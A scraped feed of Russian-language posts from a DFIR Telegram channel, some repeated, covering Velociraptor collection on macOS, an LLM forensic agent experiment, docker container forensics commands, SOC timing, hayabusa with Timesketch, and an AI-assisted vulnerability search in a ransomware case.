1️⃣ Генерируем конфиг и запускаем GUI для генерации нового артефакта сбора
2️⃣ Собираем новый артефакт (а что там будет - оставлю для остальных, лишь напомню про репо)
3️⃣ При генерации сборщика выбираем MacOS и тут интересно, что на выходе будет файл в районе 50-90 килобайт. Что это за файл?
Для запуска дабл кликом в velociraptor вшивается аргумент автозапуска
Таким образом Velociraptor придумали обходное решение - создается shell обвязка с встроенным конфигом в бинарном виде. Внутри файла есть маркер ###<Begin Embedded Config>.
При этом velociraptor, получив
Таким образом, для запуска velociraptor нужно 3 сущности.
1. Дефолтный Бинарь velociraptor с валидной подписью MACH-O файла от Rapid-7
2. autoexec скрипт, который сгенерировал сервер velociraptor для MacOS
3. Скрипт-обвязка, которая запустит это все вместе.
Но и это еще не все!)
В MacOS есть механизм FDA (Full Disk Access). Если это разрешение не дану терминалу, в котором вы его запускаете, то некоторые системные артефакты просто не соберутся. Выставить это можно тоже только руками или через MDM решения Системные настройки → Конфиденциальность и безопасность → Доступ к диску и там переключить кнопку для терминала, где будем запускать velociraptor.
Таким образом процесс слегка сложнее, чем на других ОС, и на больших объемах может быть не таким простым.
Ну а aftermath...
У меня он вообще не заработал, хотя штука прикольная. Просто вылетал с exit code 133. У меня не то, чтобы много ресурсов для теста, может мой конкретный сетап системы не подходит.
Я как-то делал ресерч на эту тему, но там тема была скорее "что собрать", а не "как"?
А тут появилась прикладная задача, да еще и не первый раз, избежать ее было трудно)
У меня на столе оказалось меню из двух позиций:
- Популярный velociraptor
- Нативный aftermath
Я использовал velociraptor для Windows и Linux, и там я привык, что конфиг просто вшивается внутрь бинарника и ты спокойно раскидываешь по инфре и собираешь дабл кликом от админа (или судо в терминале).
С MacOS все оказалось не так просто. Как известно, в MacOS есть своя система подписей бинарей. И если у бинаря нет официальной подписи, то он просто так не запустится на вашем компьютере. Это несложно обойти на одной конкретной машине, но обходить это можно только руками (особенно на последних версиях).
Итого как создается сборщик для MacOS в velociraptor?
./velociraptor --config server.config.yaml guiДля запуска дабл кликом в velociraptor вшивается аргумент автозапуска
autoexec.argv. В PE файл это вшивается в секцию PE, в ELF файле добавляется в конец файла, а если мы добавим это в MACH-O файл, то integrity нарушится и файл не запустится.Таким образом Velociraptor придумали обходное решение - создается shell обвязка с встроенным конфигом в бинарном виде. Внутри файла есть маркер ###<Begin Embedded Config>.
При этом velociraptor, получив
--embedded_config /path/to/script.sh, открывает этот же файл, ищет маркер ###<Begin Embedded Config>, читает байты после него и парсит как embedded config. Это конфиг - это просто сжатый zlib валидный yaml, который читает velociraptor.Таким образом, для запуска velociraptor нужно 3 сущности.
1. Дефолтный Бинарь velociraptor с валидной подписью MACH-O файла от Rapid-7
2. autoexec скрипт, который сгенерировал сервер velociraptor для MacOS
3. Скрипт-обвязка, которая запустит это все вместе.
Но и это еще не все!)
В MacOS есть механизм FDA (Full Disk Access). Если это разрешение не дану терминалу, в котором вы его запускаете, то некоторые системные артефакты просто не соберутся. Выставить это можно тоже только руками или через MDM решения Системные настройки → Конфиденциальность и безопасность → Доступ к диску и там переключить кнопку для терминала, где будем запускать velociraptor.
Таким образом процесс слегка сложнее, чем на других ОС, и на больших объемах может быть не таким простым.
Ну а aftermath...
У меня он вообще не заработал, хотя штука прикольная. Просто вылетал с exit code 133. У меня не то, чтобы много ресурсов для теста, может мой конкретный сетап системы не подходит.
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - Velocidex/velociraptor: Digging Deeper....
Digging Deeper.... Contribute to Velocidex/velociraptor development by creating an account on GitHub.
👍3🦄1
Сейчас я плотно занимаюсь изучением ИИ и экспериментами в разных областях: DFIR, reverse, Программирование, дизайн да и вообще много чего.
В последнее время я углубился в создание агента, который помогал бы мне исследовать триажи и подсказывать разные гипотезы, находить то, что я проглядел, автоматизировать большие объемы.
Сначала я проделал тест на обычных премпромтах + opencode. Далее я сам погружал агента в специфику и управлял его действиями (важно, использовались внутренние модели, которые, все же, хуже внешних, но достаточно хороши при правильном использовании)
Подход был очень простой:
1. Генерим гипотезы
2. Проверяем в артефактах
3. Записываем выводы в промежуточные файлы
4. Повторяем
5. Объединяем все в один отчет
Пример такого отчета я постил выше.
Такой подход - это автоматизация твоей работы, но не то чтобы прорыв. Считай, не ты грепаешь файл, а агент. Далее его выводы все равно ты интерпретируешь и ведешь его от и до, попутно борясь с его галлюцинациями и мислидами.
Конечно я захотел развить эту идею до автономного агента, провел ресерч, заложил туда методологии типа DFIQ и принципа Локара, использовал разные современные подходы, типа графа состояний и векторной инвентаризации артефактов и т.п.
Но, конечно, агент стал уходить в прострации, то есть начал слишком много "философствовать", при этом задачу свою не выполнял.
Отсюда я пришел к идее ограничений (прям как РКН, хаха). То есть нужно было придумать, как агента направлять в нужное русло и ограничивать его циклы по одному и тому же файлу, так как ни время ни контекст не резиновые.
Среди таких ограничений были, например:
1. Ограничение на бесконечный поиск.
2. Усиление валидации путей до артефактов.
3. Ограничение на количество гипотез и т.д.
И знаете что? С внедрением ограничений стало только ХУЖЕ.
Я не скажу, что это какой-то вау результат и что-то супер неожиданное, но тем не менее, агент стал нефункциональным.
Каждый guard, который блокирует, создаёт состояние «агент не может сделать ничего разумного — выбери из 5 неподходящих вариантов». LLM в такой ситуации либо повторяется (что блокирует следующий guard), либо галлюцинирует (что блокирует другой guard). Итого агент просто зависает или сразу завершается. И все твои умные и накрученные фичи просто не работают.
И вроде каждое из этих ограничений само по себе было разумным, но их комбинация сделала сильно хуже.
Короче говоря, мой небольшой эксперимент с симуляцией РКН провалился, агентов не нужно загонять в ограничения (во всяком случае в этом домене). Будем посмотреть дальше, что из этого получится.
В последнее время я углубился в создание агента, который помогал бы мне исследовать триажи и подсказывать разные гипотезы, находить то, что я проглядел, автоматизировать большие объемы.
Сначала я проделал тест на обычных премпромтах + opencode. Далее я сам погружал агента в специфику и управлял его действиями (важно, использовались внутренние модели, которые, все же, хуже внешних, но достаточно хороши при правильном использовании)
Подход был очень простой:
1. Генерим гипотезы
2. Проверяем в артефактах
3. Записываем выводы в промежуточные файлы
4. Повторяем
5. Объединяем все в один отчет
Пример такого отчета я постил выше.
Такой подход - это автоматизация твоей работы, но не то чтобы прорыв. Считай, не ты грепаешь файл, а агент. Далее его выводы все равно ты интерпретируешь и ведешь его от и до, попутно борясь с его галлюцинациями и мислидами.
Конечно я захотел развить эту идею до автономного агента, провел ресерч, заложил туда методологии типа DFIQ и принципа Локара, использовал разные современные подходы, типа графа состояний и векторной инвентаризации артефактов и т.п.
Но, конечно, агент стал уходить в прострации, то есть начал слишком много "философствовать", при этом задачу свою не выполнял.
Отсюда я пришел к идее ограничений (прям как РКН, хаха). То есть нужно было придумать, как агента направлять в нужное русло и ограничивать его циклы по одному и тому же файлу, так как ни время ни контекст не резиновые.
Среди таких ограничений были, например:
1. Ограничение на бесконечный поиск.
2. Усиление валидации путей до артефактов.
3. Ограничение на количество гипотез и т.д.
И знаете что? С внедрением ограничений стало только ХУЖЕ.
Я не скажу, что это какой-то вау результат и что-то супер неожиданное, но тем не менее, агент стал нефункциональным.
Каждый guard, который блокирует, создаёт состояние «агент не может сделать ничего разумного — выбери из 5 неподходящих вариантов». LLM в такой ситуации либо повторяется (что блокирует следующий guard), либо галлюцинирует (что блокирует другой guard). Итого агент просто зависает или сразу завершается. И все твои умные и накрученные фичи просто не работают.
И вроде каждое из этих ограничений само по себе было разумным, но их комбинация сделала сильно хуже.
Короче говоря, мой небольшой эксперимент с симуляцией РКН провалился, агентов не нужно загонять в ограничения (во всяком случае в этом домене). Будем посмотреть дальше, что из этого получится.
Telegram
Синяя шляпа
Подписчики канала заметят, что я немного хайплю на теме LLM. И не просто так. Давеча я уже писал про применение llm в реверсе (статическом анализе). Но в этой сфере я не эксперт, поэтому пойдем далее.
А что если научить LLM в DFIR, подумал я. Как мы знаем…
А что если научить LLM в DFIR, подумал я. Как мы знаем…
🔥8🦄2
Немного слов по форензику контейнеров.
Сейчас часто публикуют свои приложения в docker. Это вполне понятный и логичный подход, сам так делаю. Отсюда для злодеев это становится лакомой точкой пробива и закреплений. Но как нам провести форензику контейнера?
Для этого нужно сначала зафиксировать его состояние:
1.
2.
3.
4.
Важно, что мы не собираем так рантайм информацию о процессах и сетевых соединениях.
Далее мы можем смотреть внутрь контейнера. Контейнер состоит из "слоев", которые создаются при сборке. Здесь также нужно вспомнить про логику работы с контейнерами.
Обычно, внутри них никто файлы не правит, кроме каких-то срочных случаев. Если нужно что-то поменять - правят исходную конфигурацию и пересобирают контейнер. Это дает очень классную особенность, что время модификации всех файлов близко к моменту старта контейнера. И если, вдруг, мы находим файл, который отличается по этому времени - это хорошая эвристика, куда обратить внимание (конечно, кроме всяких логов).
Сейчас часто публикуют свои приложения в docker. Это вполне понятный и логичный подход, сам так делаю. Отсюда для злодеев это становится лакомой точкой пробива и закреплений. Но как нам провести форензику контейнера?
Для этого нужно сначала зафиксировать его состояние:
1.
docker ps -a - узнаем что за контейнер2.
docker inspect <id> - забираем метаинформацию о контейнере3.
docker commit <id> forensic_snapshot_$(date +%Y%m%) - фиксируем состояние контейнера4.
docker save forensic_snapshot_$(date +%Y%m%d) > forensic_image_ <id>.tar - выгружаем tar архива.Важно, что мы не собираем так рантайм информацию о процессах и сетевых соединениях.
Далее мы можем смотреть внутрь контейнера. Контейнер состоит из "слоев", которые создаются при сборке. Здесь также нужно вспомнить про логику работы с контейнерами.
Обычно, внутри них никто файлы не правит, кроме каких-то срочных случаев. Если нужно что-то поменять - правят исходную конфигурацию и пересобирают контейнер. Это дает очень классную особенность, что время модификации всех файлов близко к моменту старта контейнера. И если, вдруг, мы находим файл, который отличается по этому времени - это хорошая эвристика, куда обратить внимание (конечно, кроме всяких логов).
👍5🦄2
Хочется сделать заметку на полях новой новости о Mythos от Антропик. Оригинал новости.
Представьте, что через пару лет со стороны хакеров будет модель не то чтобы сопоставимая по возможностям, но не сильно далекая. Появятся открытые аналоги, которы будут хоститься как RaaS, и давать нападающим очень мощные возможности.
В кейсах, с которыми я встречался, я видел, как злодеи получали админа домена за 20 минут и менее с момента, как они первый раз зашли в инфру, без использования ллм (вероятно). И это в инфраструктурах, где все еще не так плохо.
В теории, да и на практике, с этой точки злодей может уничтожить большую часть инфраструктуры, где-то больше, где-то меньше.
То есть, представим, что теперь злодеям будет достаточно полчаса для нанесения реального ущерба в инфраструктурах, где допущен хотя бы один просчет (это важно, достаточно одного).
Если поискать бест практисы по SLA таймингу информирования в SOC на смене мониторинга, то мы получим оценки около, как раз, тех же 20-30 минут на критичные сработки, и примерно до двух часов на средней тяжести.
Цифры интересные, как мне кажется, нынешняя операционная модель SOC морально устарела, в перспективе пары лет, она станет не эффективной вовсе. Уже сейчас нужно думать, как вы через 2-3 года будете сражаться с вооруженными топовыми ллм по взлому хакерами.
Представьте, что через пару лет со стороны хакеров будет модель не то чтобы сопоставимая по возможностям, но не сильно далекая. Появятся открытые аналоги, которы будут хоститься как RaaS, и давать нападающим очень мощные возможности.
В кейсах, с которыми я встречался, я видел, как злодеи получали админа домена за 20 минут и менее с момента, как они первый раз зашли в инфру, без использования ллм (вероятно). И это в инфраструктурах, где все еще не так плохо.
В теории, да и на практике, с этой точки злодей может уничтожить большую часть инфраструктуры, где-то больше, где-то меньше.
То есть, представим, что теперь злодеям будет достаточно полчаса для нанесения реального ущерба в инфраструктурах, где допущен хотя бы один просчет (это важно, достаточно одного).
Если поискать бест практисы по SLA таймингу информирования в SOC на смене мониторинга, то мы получим оценки около, как раз, тех же 20-30 минут на критичные сработки, и примерно до двух часов на средней тяжести.
Цифры интересные, как мне кажется, нынешняя операционная модель SOC морально устарела, в перспективе пары лет, она станет не эффективной вовсе. Уже сейчас нужно думать, как вы через 2-3 года будете сражаться с вооруженными топовыми ллм по взлому хакерами.
Anthropic
Project Glasswing: An initial update
An early update on what we've learned from Project Glasswing.
🦄2
tg_image_3187528330.png
83.9 KB
Иногда возникает вопрос, а как проанализировать большое массив данных?
Например, вот у нас есть 100 триажей с хостов, которые мы не знаем, скомпромитированы или нет.
Даже если у нас есть зацепки в виде отрезка времени действий, все равно очень много что нужно проверить:
- А если злодей приходил под другой учеткой
- А если использовал другие исполняемые файлы
- А если он ...
Задача не всегда тривиальная. На такой случай можно применить эвристики, и в случае с windows, это может быть hayabusa. Конечно, это не рокет сайнс, но что делать дальше? Вот у нас 100 триажей с логами Windows, вот hayabusa, и дальше тишина...
На самом деле можно сделать так:
1. Главное иметь все данные централизовано. Обычно, триаж - это просто набор файлов тем или иным способом сгруппированный. В этом наборе файлов по известной нам схеме лежат сырые события windows (обычно их собирают все).
2. вытаскиваем все журналы в одну директорию.
3. Запускаем hayabusa. Пример запуска
4. Дальше самое интересное, на сотне машин мы получим файл в десятки гигабайт, плюс-минус, если включать info и low правила (я сторонник включать). Открывать такой файл даже timeline explorer будет неприятно. Внимательный читатель наверняка заметил флаг timesketch-verbose в hayabusa. Подробнее об этом здесь.
5. Плюс такого подхода в том, что мы получаем удобный UI для фильтрации событий и можем быстро просматривать большое количество событий, применяя удобную фильтрацию (фильтры можно делать любой сложности, в зависимости от уровня извращенности)
Таким образом достаточно удобно выявлять аномалии на больших объемах.
Например, вот у нас есть 100 триажей с хостов, которые мы не знаем, скомпромитированы или нет.
Даже если у нас есть зацепки в виде отрезка времени действий, все равно очень много что нужно проверить:
- А если злодей приходил под другой учеткой
- А если использовал другие исполняемые файлы
- А если он ...
Задача не всегда тривиальная. На такой случай можно применить эвристики, и в случае с windows, это может быть hayabusa. Конечно, это не рокет сайнс, но что делать дальше? Вот у нас 100 триажей с логами Windows, вот hayabusa, и дальше тишина...
На самом деле можно сделать так:
1. Главное иметь все данные централизовано. Обычно, триаж - это просто набор файлов тем или иным способом сгруппированный. В этом наборе файлов по известной нам схеме лежат сырые события windows (обычно их собирают все).
2. вытаскиваем все журналы в одну директорию.
3. Запускаем hayabusa. Пример запуска
hayabusa.exe csv-timeline -d .\ -o timesketch-import.csv -p timesketch-verbose --ISO-8601. Меняем .\ на реальный путь к логам. После этого получим файл csv.4. Дальше самое интересное, на сотне машин мы получим файл в десятки гигабайт, плюс-минус, если включать info и low правила (я сторонник включать). Открывать такой файл даже timeline explorer будет неприятно. Внимательный читатель наверняка заметил флаг timesketch-verbose в hayabusa. Подробнее об этом здесь.
5. Плюс такого подхода в том, что мы получаем удобный UI для фильтрации событий и можем быстро просматривать большое количество событий, применяя удобную фильтрацию (фильтры можно делать любой сложности, в зависимости от уровня извращенности)
Таким образом достаточно удобно выявлять аномалии на больших объемах.
👍5🦄1
Столкнулся с интересным кейсом.
Инцидент с шифровальщиком, точка входа известна но сама машина пошифрована на уровне esxi.
На входной машине есть сервис, код закрыт, версия известна, но уязвимостей на него нет.
Перед шифрованием на машине сохранились логи auditd в коллекторе, по логам видно, что самый первый вредоносный процесс - это процесс сервиса, который торчал наружу, то есть классический внешний пробив и дальнейший RCE. Но публичных уязвимостей нет, логов тоже нет.
Происследовав сервис стало понятно, что за торчащие на внешку ручки отвечал один бинарник, более 10 МБ, C++, с символами.
И дальше начинается самое интересное, “а что если отдать ИИшке найти уязвимость” - подумал я…
И эта шайтан машина за 2 часа нашла мне два вектора эксплуатации heap overflow -> RCE через один механизм. За 2 часа бинарник в 10 МБ был препарирован и уязвимость найдена. Искал в Opus 4.8, заодно попробовал их новый механизм workflows, когда 15 агентов одновременно проверяли гипотезы.
По токенам, я ожидал, что он съест все лимиты, но нет, всего половину 5-часового лимита.
Конечно, конечный PoC генерировать мне он отказался, и несмотря на то, что весь флоу расписал, его, по хорошему, нужно провалидировать, но тем не менее.
За 2 часа я нашел очень правдоподобный вектор эксплуатации уязвимости в большом бинаре. Впечатляет…
Инцидент с шифровальщиком, точка входа известна но сама машина пошифрована на уровне esxi.
На входной машине есть сервис, код закрыт, версия известна, но уязвимостей на него нет.
Перед шифрованием на машине сохранились логи auditd в коллекторе, по логам видно, что самый первый вредоносный процесс - это процесс сервиса, который торчал наружу, то есть классический внешний пробив и дальнейший RCE. Но публичных уязвимостей нет, логов тоже нет.
Происследовав сервис стало понятно, что за торчащие на внешку ручки отвечал один бинарник, более 10 МБ, C++, с символами.
И дальше начинается самое интересное, “а что если отдать ИИшке найти уязвимость” - подумал я…
И эта шайтан машина за 2 часа нашла мне два вектора эксплуатации heap overflow -> RCE через один механизм. За 2 часа бинарник в 10 МБ был препарирован и уязвимость найдена. Искал в Opus 4.8, заодно попробовал их новый механизм workflows, когда 15 агентов одновременно проверяли гипотезы.
По токенам, я ожидал, что он съест все лимиты, но нет, всего половину 5-часового лимита.
Конечно, конечный PoC генерировать мне он отказался, и несмотря на то, что весь флоу расписал, его, по хорошему, нужно провалидировать, но тем не менее.
За 2 часа я нашел очень правдоподобный вектор эксплуатации уязвимости в большом бинаре. Впечатляет…
🔥9🦄1